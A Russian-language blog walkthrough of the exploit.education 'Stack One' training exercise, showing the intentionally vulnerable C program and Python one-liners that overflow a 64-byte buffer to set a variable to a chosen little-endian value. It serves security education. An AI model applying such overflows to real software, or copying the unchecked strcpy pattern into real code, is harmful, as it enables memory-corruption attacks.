Изучение PWN #2

Изучение PWN #2

Михаил

На очереди вторая задача с exploit.education - Stack One.

Предыдущая статья - Изучение PWN #1.

Stack One

int main(int argc, char **argv) {
 struct {
  char buffer[64];
  volatile int changeme;
 } locals;
 printf("%s\n", BANNER);
 if (argc < 2) {
  errx(1, "specify an argument, to be copied into the \"buffer\"");
 }
 locals.changeme = 0;
 strcpy(locals.buffer, argv[1]);
 if (locals.changeme == 0x496c5962) {
  puts("Well done, you have successfully set changeme to the correct value");
 } else {
  printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n", locals.changeme);
}

 exit(0);
}

На этом уровне рассматривается концепция изменения переменных к конкретным значениям в программе и то, как переменные располагаются в памяти.

При изучении исходного кода программы мы видим, что здесь, как и в прошлой задаче, присутствует буфер на 64 байта и переменная changeme, которую необходимо перезаписать, но, если в прошлом задании, нам нужно было перезаписать любым ненулевым байтом, то в этой задаче нужно переполнить буфер так, чтобы переменная changeme стала равна 0x496c5962.

В этом задании нам еще не понадобится использовать дебаггер, поскольку при неправильном вводе текущее значение переменной выводится в выводе в hex.

Для начала попробуем просто переполнить буфер на 4 байта, т.е. подадим на вход 64 + 4 байта.

./stack-one $(python -c "print 'A' * 64 + 'ABCD'")

И получаем строку: "Getting closer! changeme is currently 0x44434241, we want 0x496c5962"

Итак, мы видим, что нам удалось переполнить буфер на 4 байта, но наши байты записались в обратном порядке - 0x44434241 - "DCBA". Произошло это из-за того, что в памяти все байты хранятся в Little Endian. Учтем это.

Чтобы записать в changeme значение 0x496c5962 нам нужно посмотреть в таблице ASCII буквенные значения этих байтов:

0x49 - I, 0x6c - l, 0x59 - Y, 0x62 - b.

Чтобы не переставлять байты в обратном порядке, используем реверс строки через сред от последнего элемента до первого:

./stack-one $(python -c "print 'A' * 64 + 'IlYb'[::-1]")

Получаем заветную строку "Well done, you have successfully set changeme to the correct value".

Следующая задача - Изучение PWN #3

Report Page